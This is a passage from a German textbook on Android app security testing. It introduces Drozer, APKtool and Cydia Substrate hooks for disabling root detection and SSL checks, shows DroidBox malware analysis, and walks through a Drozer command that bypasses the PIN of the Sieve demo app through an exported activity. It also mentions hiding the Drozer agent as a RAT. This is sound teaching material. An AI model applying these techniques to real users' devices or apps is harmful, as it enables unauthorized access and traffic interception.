4.1 Wichtige Tools und Helfer 69<br />
mdev, mesg, microcom, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.ext2,<br />
mkfs.minix, mkfs.vfat, mknod, mkswap, mktemp, modinfo, modprobe, more,<br />
mount, mountpoint, mpstat, mt, mv, nameif, nanddump, nandwrite,<br />
nbd-client, nc, netstat, nice, nmeter, nohup, nslookup, ntpd, od,<br />
openvt, patch, pgrep, pidof, ping, ping6, pipe_progress, pivot_root,<br />
pkill, pmap, powertop, printenv, printf, ps, pscan, pstree, pwd, pwdx,<br />
raidautorun, rdate, rdev, readahead, readlink, readprofile, realpath,<br />
renice, reset, resize, rev, rm, rmdir, rmmod, route, rpm, rpm2cpio,<br />
rtcwake, run-parts, runlevel, runsv, runsvdir, rx, script, scriptreplay,<br />
sed, seq, setarch, setconsole, setfont, setkeycodes, setlogcons,<br />
setserial, setsid, setuidgid, sha1sum, sha256sum, sha3sum, sha512sum,<br />
showkey, shuf, slattach, sleep, smemcap, softlimit, sort, split,<br />
start-stop-daemon, stat, strings, stty, sum, sv, svlogd, swapoff,<br />
swapon, switch_root, sysctl, syslogd,tac, tail, tar, tcpsvd, tee,<br />
telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr,<br />
traceroute, traceroute6, true, truncate, tty, ttysize, tunctl,<br />
ubiattach, ubidetach, ubimkvol, ubirmvol, ubirsvol, ubiupdatevol,<br />
udhcpc, udhcpd, udpsvd, uevent, umount, uname, unexpand, uniq, unix2dos,<br />
unlink, unlzop, unxz, unzip, uptime, users, usleep, uudecode, uuencode,<br />
vconfig, vi, volname, wall, watch, watchdog, wc, wget, which, who,<br />
whoami, whois, xargs, xz, xzcat, yes, zcat, zcip<br />
Codebeispiel 4–1: In BusyBox gebündelte Kommandozeilentools<br />
4.1.2 Drozer<br />
Ein sehr mächtiges Werkzeug beim Assessment von Android-Applikationen ist<br />
Drozer3. Dieses Werkzeug wurde bereits 2012 auf der damaligen BlackHat-<br />
Konferenz von den MWR Labs vorgestellt und ist seitdem aus den Penetrationstests<br />
mobiler Android-Applikationen nicht mehr wegzudenken. Dabei bietet<br />
Drozer im Wesentlichen zwei verschiedene Modi, in denen es seine Stärken zeigt:<br />
1. Aufspüren von Schwachstellen in Applikationen und<br />
2. Bereitstellen von Exploits, um diese Schwachstellen automatisiert auszunutzen.<br />
Drozer selbst gibt es in einer Open-Source-Variante (die wir im weiteren Verlauf<br />
verwenden werden) sowie einer kommerziellen Version, die deutlich mehr Funktionen<br />
und eine übersichtliche GUI bietet, dabei jedoch die eigentliche Funktionsweise<br />
vor dem Nutzer versteckt und deshalb für die Zwecke dieses Buches eher<br />
nicht geeignet ist. Die freie Version von Drozer besteht aus den folgenden drei<br />
wesentlichen Komponenten:<br />
3 Drozer: https://www.mwrinfosecurity.com/products/drozer/
70 4 Sicherheitsprobleme bei Android-Applikationen<br />
Agent: Das eigentliche Herzstück des ganzen Systems. Der Agent ist eine kleine<br />
Android-Applikation, die direkt auf dem zu analysierenden Smartphone installiert<br />
ist. Dieser Agent kann entweder als herkömmliche Applikation mitsamt<br />
einer grafischen Oberfläche ausgerollt werden oder als Remote Administration<br />
Tool (RAT) – z. B. versteckt in einer anderen legitimen Applikation –,<br />
um Geräte unbemerkt zu infizieren und fernzusteuern.<br />
Server: Eine zentrale Instanz, von der aus man mehrere Agenten bedienen kann<br />
und die zugleich als Meldepunkt für ferngesteuerte Agenten verwendet werden<br />
kann (zum Umgehen von NAT oder Firewalls).<br />
Console: Eine Kommandozeile, die auf dem lokalen Rechner läuft und mit den<br />
Agenten kommuniziert.<br />
Um Drozer auf unserem Analyserechner zu installieren, reicht es aus, das passende<br />
Paket von der Herstellerwebseite herunterzuladen und auf dem lokalen<br />
System zu entpacken. Nach erfolgreichem Entpacken sollten mehrere Dateien zu<br />
sehen sein. Die beiden wichtigsten hierbei sind die agent.apk und drozer-2.3.4-<br />
py2.7.egg (je nach Version von Drozer kann diese Datei einen anderen Namen<br />
haben). Damit das Werkzeug ordentlich funktioniert, benötigen wir noch folgende<br />
zusätzliche Pakete bzw. Einstellungen:<br />
■ Python 2.7<br />
■ JDK 1.6 (oder neuer)<br />
■ Android-SDK<br />
■ adb in der PATH-Variablen<br />
■ java in der PATH-Variablen<br />
Ist dies alles erfüllt, so können wir Drozer einfach installieren, indem wir folgenden<br />
Befehl eingeben: easy_install ./drozer-2.3.4-py2.7.egg. Dies installiert<br />
uns Drozer und alle nötigen Python-Pakete. Im Anschluss müssen wir nun noch<br />
den Agenten auf unser Testgerät installieren, mit dem wir später unsere Applikationen<br />
untersuchen möchten. Dies können wir durch einfaches Installieren der<br />
beigelegten Android-Applikation per adb install agent.pak.<br />
Damit haben wir bereits alle Vorkehrungen erfüllt und können mit der Analyse<br />
des Testgerätes oder darauf installierter Applikationen beginnen. Dazu verbinden<br />
wir uns nun per Console mit dem Agenten auf dem Testgerät. Damit dies<br />
funktioniert, müssen wir zuvor noch den TCP-Port über die USB-Schnittstelle<br />
umleiten, auf dem der im Agenten integrierte Server auf unsere Befehle wartet.<br />
Dies geschieht mit folgendem Befehl:<br />
$: adb forward tcp:31415 tcp:31415<br />
Codebeispiel 4–2: Port-Umleitung für Drozer
4.1 Wichtige Tools und Helfer 71<br />
Im Anschluss öffnen wir die Drozer-Applikation auf unserem Testgerät und starten<br />
dort den Server (siehe dazu Abbildung 4–1 auf Seite 72). Nachdem nun die<br />
Port-Umleitung aktiv ist, das Gerät per USB mit unserem Analyserechner verbunden<br />
ist und der Agent auf unsere Verbindung wartet, können wir die lokale<br />
Console auffordern, sich mit dem Agenten zu verbinden. Dies geschieht per:<br />
$: drozer console connect<br />
Codebeispiel 4–3: Aufbauen der Verbindung zum Drozer-Agenten<br />
Hat die Console eine erfolgreiche Verbindung zum Agenten aufgebaut, bekommen<br />
wir einen Kopf eines Androids zu sehen und die bekannte Drozer-Shell (siehe<br />
Codebeispiel 4–4).<br />
Selecting eecba ******* d8f8 ( LGE Nexus 5 4.4.4)<br />
.. ..:.<br />
..o..<br />
.r..<br />
..a.. . ....... . .. nd<br />
ro .. idsnemesisand .. pr<br />
. otectorandroidsneme .<br />
., sisandprotectorandroids +.<br />
.. nemesisandprotectorandroidsn :.<br />
. emesisandprotectorandroidsnemes ..<br />
.. isandp ,.. , rotectorandro ,.. , idsnem .<br />
. isisandp .. rotectorandroid .. snemisis .<br />
, andprotectorandroidsnemisisandprotec .<br />
. torandroidsnemesisandprotectorandroid .<br />
. snemisisandprotectorandroidsnemesisan :<br />
. dprotectorandroidsnemesisandprotector .<br />
drozer Console (v2 .3.4)<br />
dz ><br />
Codebeispiel 4–4: Erfolgreiche Verbindung zum Drozer-Agenten<br />
Mit der nun vorhandenen Drozer-Shell lassen sich Module ausführen, die Teil<br />
von Drozer sind. Um zu sehen, welche Module aktuell installiert sind, können<br />
wir den Befehl list innerhalb der Drozer-Shell benutzen. Möchten wir die Suche<br />
nach Modulen weiter eingrenzen, können wir noch weitere Argumente übergeben<br />
(wie z. B. information).
72 4 Sicherheitsprobleme bei Android-Applikationen<br />
Abb. 4–1: Starten des in Drozer eingebetteten Servers<br />
dz> list information<br />
information.datetime Print Date/Time<br />
information.deviceinfo Get verbose device information<br />
information.permissions Get a list of all permissions used by packages on the<br />
device<br />
Codebeispiel 4–5: Ausgabe der Drozer-Module zum Argument information<br />
Drozer besitzt jedoch nicht nur die Module, die mittels list angezeigt werden,<br />
sondern noch eine Vielzahl weiterer Module, die teilweise auch von externen Penetrationstestern<br />
oder Sicherheitsforschern erstellt wurden. Um einen Überblick<br />
über diese Module zu bekommen, reicht es, den folgenden Befehl einzugeben:<br />
dz> module search -d<br />
......<br />
curesec.CVE-2013-6271<br />
This plugin abuses a bug which allows a malicious app/user to use the com<br />
.android.phone without the necessary permissions.<br />
......<br />
metall0id.tools.setup.nmap
4.1 Wichtige Tools und Helfer 73<br />
Installs Nmap on the Agent. Nmap ("Network Mapper") is a free and open<br />
source (license) utility for network discovery and security auditing.<br />
mwrlabs.secure_random<br />
Finds applications that make use of java.security.SecureRandom as a<br />
source of random numbers. It was identified that on some versions of<br />
Android the SecureRandom random number generator did not correctly<br />
seed the underlying PRNG, which could cause predictable sequences of<br />
numbers to be generated.<br />
......<br />
Codebeispiel 4–6: Ausgabe der manuell installierbaren Drozer-Module<br />
Durch ein module install können diese Module direkt nachinstalliert<br />
werden und stehen dann umgehend zur Verfügung. Um schneller einen Überblick<br />
darüber zu bekommen, welchen Zweck ein gewisses Modul verfolgt, gibt es<br />
eine Namenskonvention für Drozer-Module, die in Tabelle 4–1 abgebildet ist.<br />
Namenskonvention<br />
app.activity<br />
app.broadcast<br />
app.package<br />
app.provider<br />
app.services<br />
auxiliary<br />
exploit<br />
information<br />
scanner<br />
shell<br />
tools.file<br />
tools.setup<br />
Beschreibung<br />
Suche nach bzw. Interaktion mit exportierten Activities<br />
Suche nach bzw. Interaktion mit exportierten Broadcast-Receivern<br />
Suche nach installierten Paketen oder Applikationen inkl. Anzeigen<br />
von Details<br />
Suche nach bzw. Interaktion mit exportierten Content Providern<br />
Suche nach bzw. Interaktion mit exportierten Services<br />
Externe Tools, die zu Drozer portiert wurden<br />
Root- sowie Applikations-Exploits<br />
Auslesen von Informationen und Einstellungen aus dem Endgerät<br />
oder der dort verwendeten Konfiguration<br />
Automatisierte Scanner, die nach bekannten Schwachstellen in<br />
Applikationen suchen<br />
Kommandozeilentools<br />
Werkzeuge, die eine direkte Interaktion mit Dateien zulassen<br />
Upload weiterer externer Tools in die Drozer-Laufzeitumgebung<br />
Tab. 4–1: Liste der Namenskonventionen für Drozer-Module [4]
74 4 Sicherheitsprobleme bei Android-Applikationen<br />
Im weiteren Verlauf dieses Kapitels werden wir immer wieder mit Drozer in Kontakt<br />
kommen und zeigen, wie mächtig dieses Werkzeug ist.<br />
4.1.3 Android PackageManager<br />
Der PackageManager ist Teil eines jeden Android-Systems und dessen Kommandozeile.<br />
Mit diesem Tool kann man Informationen über installierte Pakete/Applikationen<br />
auslesen oder weitere Applikationen installieren. Die für uns wichtigsten<br />
Befehlsaufrufe sind die folgenden:<br />
■<br />
■<br />
■<br />
■<br />
■<br />
adb shell pm list packages – Auflistung aller installierter Pakete und Applikationen<br />
adb shell pm path – Suche der apk-Datei einer installierten Applikation<br />
adb shell pm install – Installation einer Applikation<br />
adb shell pm uninstall – Deinstallation einer Applikation<br />
adb shell pm disable – Deaktivieren einer Applikation<br />
4.1.4 APKtool<br />
Das APKtool4 ist ein weiteres Werkzeug, um Android-Applikationen zu analysieren.<br />
Es erlaubt uns, eine apk-Datei zu dekompilieren, Änderungen an dem Code<br />
der Applikation vorzunehmen und im Anschluss die Applikation wieder automatisiert<br />
zusammenzubauen, sodass sie auf einem Gerät ausgeführt werden kann.<br />
Ein solches Tool ist immer dann wichtig, wenn man gewisse Teile einer Applikation<br />
verändern muss, damit sie auf dem Testgerät lauffähig sind. Klassische<br />
Beispiele für ein solches Patching sind z. B. das Deaktivieren der Root-Erkennung<br />
oder das Ändern von fest definierten Displayauflösungen, aber auch das Ändern<br />
von fest definierten SSL-Zertifikaten, um die Verbindung abhören zu können.<br />
Möchte man eine Android-Applikation mithilfe von APKtool dekompilieren,<br />
so reicht es, den folgenden Befehl einzugeben:<br />
$ ./apktool.sh d testapp.apk -o out<br />
I: Using Apktool 2.0.2 on testapp.apk<br />
I: Loading resource table...<br />
I: Decoding AndroidManifest.xml with resources...<br />
I: Loading resource table from file: /Users/mspreitz/Library/apktool/<br />
framework/1.apk<br />
I: Regular manifest package...<br />
I: Decoding file-resources...<br />
4 APKtool: http://ibotpeaches.github.io/Apktool/
4.1 Wichtige Tools und Helfer 75<br />
I: Decoding values */* XMLs...<br />
I: Baksmaling classes.dex...<br />
I: Copying assets and libs...<br />
I: Copying unknown files...<br />
I: Copying original files...<br />
Codebeispiel 4–7: Dekompilieren einer Android-Applikation mittels APKtool<br />
In diesem Beispiel erhalten wir nun einen neuen Ordner namens out, der alle Dateien<br />
der ursprünglichen Applikation beinhaltet und den Dalvik-Bytecode bereits<br />
in das zuvor schon erwähnte smali übersetzt hat. Diese Dateien können wir nun<br />
eigenen Vorstellungen anpassen und im Anschluss wieder in eine funktionierende<br />
Android-Applikation umwandeln. Letzteres geschieht mithilfe des folgenden<br />
Befehls:<br />
$ ./apktool.sh b out/ testapp2.apk<br />
I: Using Apktool 2.0.2<br />
I: Checking whether sources has changed...<br />
I: Smaling smali folder into classes.dex...<br />
I: Checking whether resources has changed...<br />
I: Building resources...<br />
I: Building apk file...<br />
Codebeispiel 4–8: Kompilieren einer Android-Applikation mittels APKtool<br />
4.1.5 Cydia Substrate<br />
Cydia Substrate5 ist ein Tool, das die Manipulation zur Laufzeit von Applikationen<br />
ermöglicht und aus der iOS-Welt sehr bekannt ist (mehr dazu auch in<br />
Kapitel 6). Es bietet in der Grundversion keinerlei direkten Nutzen, sondern vielmehr<br />
eine Umgebung, die es erlaubt, sich in laufende Applikationen einzuklinken<br />
und deren Aufrufe zu hooken. Durch externe Module bietet es jedoch eine sehr<br />
große Vielfalt an Funktionen und ist aus vielen Assessments nicht wegzudenken.<br />
Ein paar der wichtigsten Erweiterungen für Cydia Substrate auf Android sind<br />
u. a. die folgenden:<br />
RootCloak: Ein Werkzeug, um gängige Root-Erkennung in Applikationen zur<br />
Laufzeit zu deaktivieren bzw. der Applikation vorzugaukeln, dass das darunterliegende<br />
Gerät in einem vertrauenswürdigen Zustand ist.<br />
5 Cydia Substrate: http://www.cydiasubstrate.com/
76 4 Sicherheitsprobleme bei Android-Applikationen<br />
SSL TrustKiller: Eine Erweiterung, die SSL-Zertifikats-Prüfungen manipuliert<br />
(siehe dazu auch Abschnitt 9.2).<br />
Introspy: Ein weiteres Modul, das in der Lage ist, eine Vielzahl von API-Aufrufen<br />
der Applikation mitzuschneiden und an logcat zu senden. Mit diesem Modul<br />
kann man Intents und deren Inhalt sowie Crypto-Operationen und Details –<br />
wie z. B. Schlüssel und verwendete Algorithmen – mitschneiden.<br />
Abb. 4–2: Cydia Substrate auf Android mit aktiviertem Hooking<br />
4.2 Analyse der Zugriffe auf sensible Nutzerdaten<br />
Gerade im Bereich der Analyse von Applikationen zum Einsatz auf privaten oder<br />
geschäftlichen Endgeräten ist es wichtig, dass man die Zugriffe auf sensible Nutzerdaten<br />
untersucht. Es gibt immer wieder Applikationen, die in den Medien genannt<br />
werden, weil sie das Adressbuch der Nutzer auf ihren Servern speichern<br />
oder persönliche Daten von den Smartphones der Nutzer abziehen. Im Folgenden<br />
zeigen wir, welche Berechtigungen man hierfür im Auge behalten sollte und<br />
wie man nach den entsprechenden Zeilen im Code der Applikation suchen kann,<br />
um einen Überblick zu bekommen, was die Applikation mit den so erhaltenen<br />
Daten durchführt.<br />
Die in Tabelle 4–2 abgebildeten Berechtigungen (engl. Permissions) und die<br />
zugehörigen Gruppen (die ab Android 5.0 dem Nutzer angezeigt werden) zählen<br />
zu den Berechtigungen, die man als Entwickler nur mit Sorgfalt verwenden sollte<br />
und die bei uns als Analysten eine wichtige Rolle spielen. Dies beruht hauptsächlich<br />
auf der Tatsache, dass die damit verbundenen personenbezogenen Daten im<br />
Bereich Datenschutz (Bundesdatenschutzgesetz [5]) eine essenzielle Rolle spielen.
4.2 Analyse der Zugriffe auf sensible Nutzerdaten 77<br />
Berechtigungsgruppe<br />
CALENDAR<br />
CAMERA<br />
CONTACTS<br />
LOCATION<br />
MICROPHONE<br />
PHONE<br />
SENSORS<br />
SMS<br />
STORAGE<br />
Berechtigung<br />
READ_CALENDAR<br />
WRITE_CALENDAR<br />
CAMERA<br />
READ_CONTACTS<br />
WRITE_CONTACTS<br />
GET_ACCOUNTS<br />
ACCESS_FINE_LOCATION<br />
ACCESS_COARSE_LOCATION<br />
RECORD_AUDIO<br />
READ_PHONE_STATE<br />
CALL_PHONE<br />
READ_CALL_LOG<br />
WRITE_CALL_LOG<br />
ADD_VOICEMAIL<br />
USE_SIP<br />
PROCESS_OUTGOING_CALLS<br />
BODY_SENSORS<br />
SEND_SMS<br />
RECEIVE_SMS<br />
READ_SMS<br />
RECEIVE_WAP_PUSH<br />
RECEIVE_MMS<br />
READ_EXTERNAL_STORAGE<br />
WRITE_EXTERNAL_STORAGE<br />
Tab. 4–2: Liste der kritischen Berechtigungen und dazugehörigen Gruppen in Android<br />
Um Applikationen zu finden, die diese Berechtigungen verwenden, reicht es schon<br />
aus, das Android-Manifest zu betrachten und dort die entsprechenden xml-Tags<br />
uses-permission zu finden (siehe Codebeispiel 4–9).
78 4 Sicherheitsprobleme bei Android-Applikationen<br />
<br />
<br />
...<br />
<br />
Codebeispiel 4–9: Auszug aus einem Android-Manifest, das die RECEIVE_SMS-Berechtigung<br />
anfordert<br />
Ebenso können wir aber auch Drozer verwenden, um nach installierten Applikationen<br />
auf einem Endgerät zu suchen, die gewisse Berechtigungen bei der Installation<br />
angefordert haben. Das folgende Codebeispiel zeigt dies anhand der<br />
WRITE_CALENDAR-Berechtigung – also des Schreibzugriffs auf den lokalen<br />
Kalender:<br />
dz> run app.package.list -p android.permission.WRITE_CALENDAR<br />
com.google.android.exchange (Exchange-Dienste)<br />
com.android.providers.calendar (Kalenderspeicher)<br />
com.google.android.email (E-Mail)<br />
com.google.android.googlequicksearchbox (Google-Suche)<br />
com.google.android.calendar (Kalender)<br />
com.android.shell (Shell)<br />
Codebeispiel 4–10: Suche nach Applikationen mit Schreibzugriff auf den Kalender mittels<br />
Drozer<br />
Haben wir nun Applikationen gefunden, die Zugriff auf personenbezogene Daten<br />
verlangen, so besteht der nächste Schritt darin, dass wir die entsprechenden<br />
Codezeilen suchen, die die entsprechenden Daten verarbeiten. Hierzu können wir<br />
eine Liste von Berechtigungen und Zuordnungen zu Codeaufrufen von William<br />
Enck6 verwenden.<br />
Dazu dekompilieren wir – wie in Kapitel 3 gezeigt – die Applikation in die<br />
smali-Sprache und führen mittels grep einfache Suchen über den gesamten Code<br />
der Applikation aus. Dies liefert uns die genauen Abschnitte im Code, die für<br />
eine bestimmte Berechtigung verantwortlich sind, um sie anschließend manuell<br />
zu untersuchen und auf schadhaftes oder ungewolltes Verhalten zu prüfen.<br />
Wir können das Ganze aber auch etwas komfortabler mithilfe von Codeinspect<br />
gestalten. Dazu laden wir die apk-Datei wie in Abschnitt 3.4.7 gezeigt<br />
in das Tool und klicken auf das kleine Fenster unten in der Mitte (Permission<br />
Usage). Hier sehen wir nun sehr schön, welche Codezeilen für welche Berechti-<br />
6 https://github.com/mspreitz/mobile-sandbox/blob/master/DroidLyzer/APIcalls.txt
4.2 Analyse der Zugriffe auf sensible Nutzerdaten 79<br />
Abb. 4–3: Anzeige der für Berechtigungen verantwortlichen Codezeilen mittels Codeinspect<br />
gung zuständig sind (siehe dazu Abbildung 4–3), und können uns durch einfaches<br />
Klicken an die entsprechenden Stellen navigieren.<br />
4.2.1 Android-Applikation zur Laufzeit analysieren<br />
Gerade im Bereich der Zugriffe auf sensible Nutzerdaten wie das Adressbuch<br />
oder Kontakte sind Werkzeuge erhältlich, die die zuvor gezeigten Schritte automatisiert<br />
durchführen und so dem Analysten eine Menge Arbeit und Zeit ersparen.<br />
Zu diesen Werkzeugen zählen im Android-Umfeld vor allem DroidBox7 und<br />
CuckooDroid8 .<br />
Nachdem wir in Kapitel 3 eine erste Beispiel-Applikation aus dem Bereich der<br />
Android-Malware mit verschiedenen Tools manuell analysiert haben, werden wir<br />
in diesem Abschnitt dieselbe Applikation mithilfe von DroidBox automatisiert<br />
analysieren und auswerten, damit Sie einen Vergleich der statischen und dynamischen<br />
Analyse erhalten. Gerade in Bereichen, in denen man realen Schadcode<br />
oder unbekannte Applikationen ausführen möchte, ist es wichtig, ein abgeschottetes<br />
System dazu zu verwenden – in diesem Fall einen eigens dafür erzeugten<br />
Emulator.<br />
7 DroidBox: https://github.com/pjlantz/droidbox<br />
8 CuckooDroid: https://github.com/idanr1986/cuckoo-droid
80 4 Sicherheitsprobleme bei Android-Applikationen<br />
Abb. 4–4: Konfiguration des Emulators für DroidBox<br />
Für DroidBox benötigen wir einen Emulator mit folgender Konfiguration<br />
(vergleiche dazu auch Abbildung 4–4):<br />
■ Name: DroidBox4<br />
■ Device: Nexus 4<br />
■ Target: Android 4.1.2<br />
■ CPU: armeabi-v7a<br />
Nachdem wir den Emulator erfolgreich angelegt haben, ist es nun an der Zeit,<br />
DroidBox selbst zu installieren. Da es sich bei DroidBox lediglich um einige wenige<br />
Python-Skripte handelt, reicht es aus, sich das Paket herunterzuladen und<br />
in einen Ordner im eigenen Homeverzeichnis zu speichern. Dies geschieht über<br />
folgende zwei Aufrufe:<br />
$: wget https://github.com/pjlantz/droidbox/releases/download/v4.1.1/<br />
DroidBox411RC.tar.gz<br />
$: tar xvf DroidBox411RC.tar.gz<br />
x DroidBox_4.1.1/<br />
x DroidBox_4.1.1/droidbox.sh
4.2 Analyse der Zugriffe auf sensible Nutzerdaten 81<br />
x DroidBox_4.1.1/images/<br />
x DroidBox_4.1.1/scripts/<br />
x DroidBox_4.1.1/startemu.sh<br />
x DroidBox_4.1.1/scripts/bytecode.py<br />
x DroidBox_4.1.1/scripts/droidbox.py<br />
x DroidBox_4.1.1/scripts/error.py<br />
x DroidBox_4.1.1/scripts/monkeyrunner.py<br />
x DroidBox_4.1.1/scripts/utils.py<br />
x DroidBox_4.1.1/images/ramdisk.img<br />
x DroidBox_4.1.1/images/system.img<br />
Codebeispiel 4–11: Installation von DroidBox<br />
Im Anschluss daran haben wir DroidBox erfolgreich installiert und können mit<br />
der ersten Analyse beginnen. Dazu starten wir nun den zuvor vorbereiteten Emulator<br />
mittels des Befehls startemu.sh DroidBox4.<br />
Ist der Emulator gestartet und sehen wir den Homescreen und nicht mehr den<br />
Ladebildschirm mit dem Android-Schriftzug, so können wir DroidBox mitteilen,<br />
welche Applikation wir analysieren möchten. Dies geschieht mit folgendem Aufruf<br />
(hier wird die Applikation mit dem Dateinamen malware.apk übergeben):<br />
$: ./ droidbox .sh malware . apk<br />
____ __ ____<br />
/\ _`\ __ /\ \/\ _`\<br />
\ \ \/\ \ _ __ ___ /\_\ \_\ \ \ \L\ \ ___ __ _<br />
\ \ \ \ \/\`'__\ __ `\/\ \ /'_` \ \ _
82 4 Sicherheitsprobleme bei Android-Applikationen<br />
Wenn dieses Pop-up wieder ausgeblendet wurde, können wir auf die Konsole<br />
wechseln und mit STRG+C die Analyse beenden. In diesem Fall hat die Malware<br />
bereits ihr komplettes schadhaftes Verhalten gezeigt und ein weiteres Warten oder<br />
erneutes Starten der Applikation würde keine weiteren Erkenntnisse liefern.<br />
Nachdem wir mit STRG+C die Analyse abgebrochen haben, generiert DroidBox<br />
den eigentlichen Report. In der aktuellen Version von DroidBox ist dieser Report<br />
ein JSON-Dictionary. Um dieses JSON-Dictionary weiter auswerten zu können,<br />
ist es am einfachsten, die Ausgabe in eine lokale Datei (z. B. droidboxresults.json)<br />
zu kopieren und diese dann im Nachgang weiter zu analysieren.<br />
#!/usr/bin/python<br />
import json<br />
# open manually created json file<br />
with open('droidboxresults.json') as droidbox_results:<br />
result = json.loads(droidbox_results)<br />
result.keys()<br />
# print SMS messages within droidbox results<br />
print 'message -- type -- number'<br />
for sms in result['sendsms']:<br />
print sms['message'] + '--' + sms['type'] + '--' + sms['number']<br />
Codebeispiel 4–13: Aufbereitete Ausgabe der SMS-API-Kommandos, die DroidBox mitschneiden<br />
konnte<br />
Wie wir schon beim Speichern der Ausgabe in die Datei gesehen haben, ist in<br />
diesem Fall nur etwas über die SMS-API mitgeschnitten worden. Um diese Ergebnisse<br />
ausführlicher betrachten zu können, haben wir das Skript im Codebeispiel<br />
4–13 so gestaltet, dass es nur Infos über die SMS-API ausgibt.<br />
Dieses Ergebnis kennen wir auch schon aus der statischen Analyse. Das Beispiel<br />
zeigt aber, wie man schon bei einer kleinen und sehr einfachen Applikation<br />
massiv Zeit und Arbeitseinsatz sparen kann, wenn man die Analyse mit einer<br />
dynamischen Umgebung durchführt, statt auf eine statische Analyse zu setzen.<br />
Die dynamische Analyse ist jedoch keine »Allzweck-Waffe«, da es immer mehr<br />
schadhafte – aber auch gutartige – Applikationen gibt, die eine Ausführung in einer<br />
überwachten Umgebung erkennen und somit bei der Analyse ihr schadhaftes<br />
Verhalten nicht zeigen. Was wir oft sehen, sind schadhafte Applikationen, die auf<br />
gewisse äußere Einflüsse (eingehende SMS, gewisser Ladestand des Akkus etc.)<br />
warten, bevor sie ihr wirkliches Verhalten zeigen. Dies kann man während einer<br />
dynamischen Analyse nur manuell triggern, wenn man aus der statischen Analyse<br />
weiß, auf welche Aktion die Applikation wartet. Aus diesem Grund ist es wichtig,
4.3 Exportierte Activities erkennen und ausnutzen 83<br />
bei jeder Applikation auf eine Mischung aus statischer und dynamischer Analyse<br />
zu setzen und die Ergebnisse beider Analysen miteinander zu vergleichen.<br />
4.3 Exportierte Activities erkennen und ausnutzen<br />
Wie wir bereits im ersten Kapitel gesehen haben, ist eine Activity bei Android-<br />
Applikationen nichts anderes als ein Bildschirm, der innerhalb der Applikation<br />
definiert ist und Nutzereingaben für die Applikation entgegennimmt. Im Prinzip<br />
kann man über exportierte Activities mehrere Einsprungpunkte für den Benutzer<br />
– oder eine andere Applikation – in die eigentliche Applikation definieren.<br />
Sobald man als Entwickler eine Activity exportiert hat, steht sie allen anderen<br />
Applikationen zur Verfügung und kann von ihnen aufgerufen werden. Selbiges<br />
ist der Fall, sobald man als Entwickler einen Intent-Filter auf eine bestimmte Activity<br />
legt (wie in Codebeispiel 4–14 abgebildet).<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Codebeispiel 4–14: Intent-Filter, der auf ACTION_SEND-Intents reagiert<br />
Der Nachteil dieser exportierten Einsprungpunkte liegt darin, dass ein Angreifer<br />
nicht zwingend den genau vordefinierten Weg durch eine Applikation wählt,<br />
sondern versucht, über andere Einsprungpunkte hineinzugelangen, um z. B. um<br />
PIN-Abfragen herumzukommen.<br />
Stellen wir uns zum besseren Verständnis die Twitter-Applikation vor. Der<br />
erste Einsprungpunkt ist der Klick auf das Icon, das eine Activity mit den letzten<br />
abonnierten Tweets anzeigt. Es gibt jedoch für andere Applikationen auch die<br />
Möglichkeit, über einen Intent direkt an die Activity zu gelangen, die für das Verfassen<br />
eines Tweets zuständig ist. Mit dieser Activity haben wir nun den zweiten<br />
Einsprungpunkt in die Twitter-Applikation. Als Penetrationstester oder Angreifer<br />
sind wir nun in der Lage, beide Activities direkt aufzurufen. Bei Twitter besteht<br />
hier noch kein Risiko, hätten wir jedoch eine Secure-Twitter-Applikation, die,<br />
bevor man Zugriff auf die Daten (erste Activity) bekommt, nach einer PIN fragt<br />
und bei der diese Abfrage bei der zweiten Activity (Verfassen eines Tweets) vergessen<br />
wurde, so könnte es u. U. möglich sein, dass der Angreifer über die zweite<br />
Activity Zugriff auf die abonnierten Tweets bekommt, ohne die PIN zu wissen.<br />
Mithilfe von Drozer können wir in installierten Applikationen nach solchen<br />
Activities suchen und uns anzeigen lassen, ob weitere Voraussetzungen (z. B. de-
84 4 Sicherheitsprobleme bei Android-Applikationen<br />
finierte Berechtigungen) erfüllt sein müssen, um mit ihnen zu interagieren. Für<br />
dieses Beispiel wählen wir die Sieve-Applikation9 , die von MWR zu Demozwecken<br />
entwickelt wurde.<br />
»Sieve is a small Password Manager app created to showcase some of the<br />
common vulnerabilities found in Android applications.«<br />
Mittels eines Drozer-Moduls namens app.package.attacksurface können wir innerhalb<br />
einer Applikation nach exportierten Komponenten suchen, um Infos darüber<br />
zu erhalten, ob es diesen Angriffsvektor für die gegebene Applikation überhaupt<br />
gibt. Dies geschieht wie in Codebeispiel 4–15 gezeigt.<br />
dz> run app.package.attacksurface com.mwr.example.sieve<br />
Attack Surface:<br />
3 activities exported<br />
0 broadcast receivers exported<br />
2 content providers exported<br />
2 services exported<br />
is debuggable<br />
Codebeispiel 4–15: Suche nach exportierten und angreifbaren Activities mittels Drozer<br />
Wie wir anhand der Ausgabe von Drozer sehen, haben wir drei exportierte Activities,<br />
die wir uns nun genauer anschauen möchten:<br />
dz> run app.activity.info -a com.mwr.example.sieve -u<br />
Package: com.mwr.example.sieve<br />
Exported Activities:<br />
com.mwr.example.sieve.FileSelectActivity<br />
Permission: null<br />
com.mwr.example.sieve.MainLoginActivity<br />
Permission: null<br />
com.mwr.example.sieve.PWList<br />
Permission: null<br />
9 Sieve: https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk
4.3 Exportierte Activities erkennen und ausnutzen 85<br />
Hidden Activities:<br />
com.mwr.example.sieve.SettingsActivity<br />
Permission: null<br />
com.mwr.example.sieve.AddEntryActivity<br />
Permission: null<br />
com.mwr.example.sieve.ShortLoginActivity<br />
Permission: null<br />
com.mwr.example.sieve.WelcomeActivity<br />
Permission: null<br />
com.mwr.example.sieve.PINActivity<br />
Permission: null<br />
Codebeispiel 4–16: Aufruf einer exportierten und angreifbaren Activity mittels Drozer<br />
Hier sehen wir die drei zuvor schon entdeckten exportierten Activities und zusätzlich<br />
die Information, dass keine Berechtigungen nötig sind, um mit ihnen zu<br />
interagieren. Wir können diese Activities nun also einfach per Drozer aufrufen<br />
und schauen, ob wir an der initialen PIN-Abfrage der Sieve-Applikation vorbeikommen.<br />
Dies erreichen wir im Falle der Activity PWList mit folgendem Befehl:<br />
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.<br />
sieve.PWList<br />
Codebeispiel 4–17: Aufruf einer exportierten und angreifbaren Activity mittels Drozer<br />
Wie wir nun sehen, sind wir an der initialen PIN-Abfrage vorbeigekommen und<br />
erhalten alle gespeicherten Einträge in der Applikation angezeigt, die eigentlich<br />
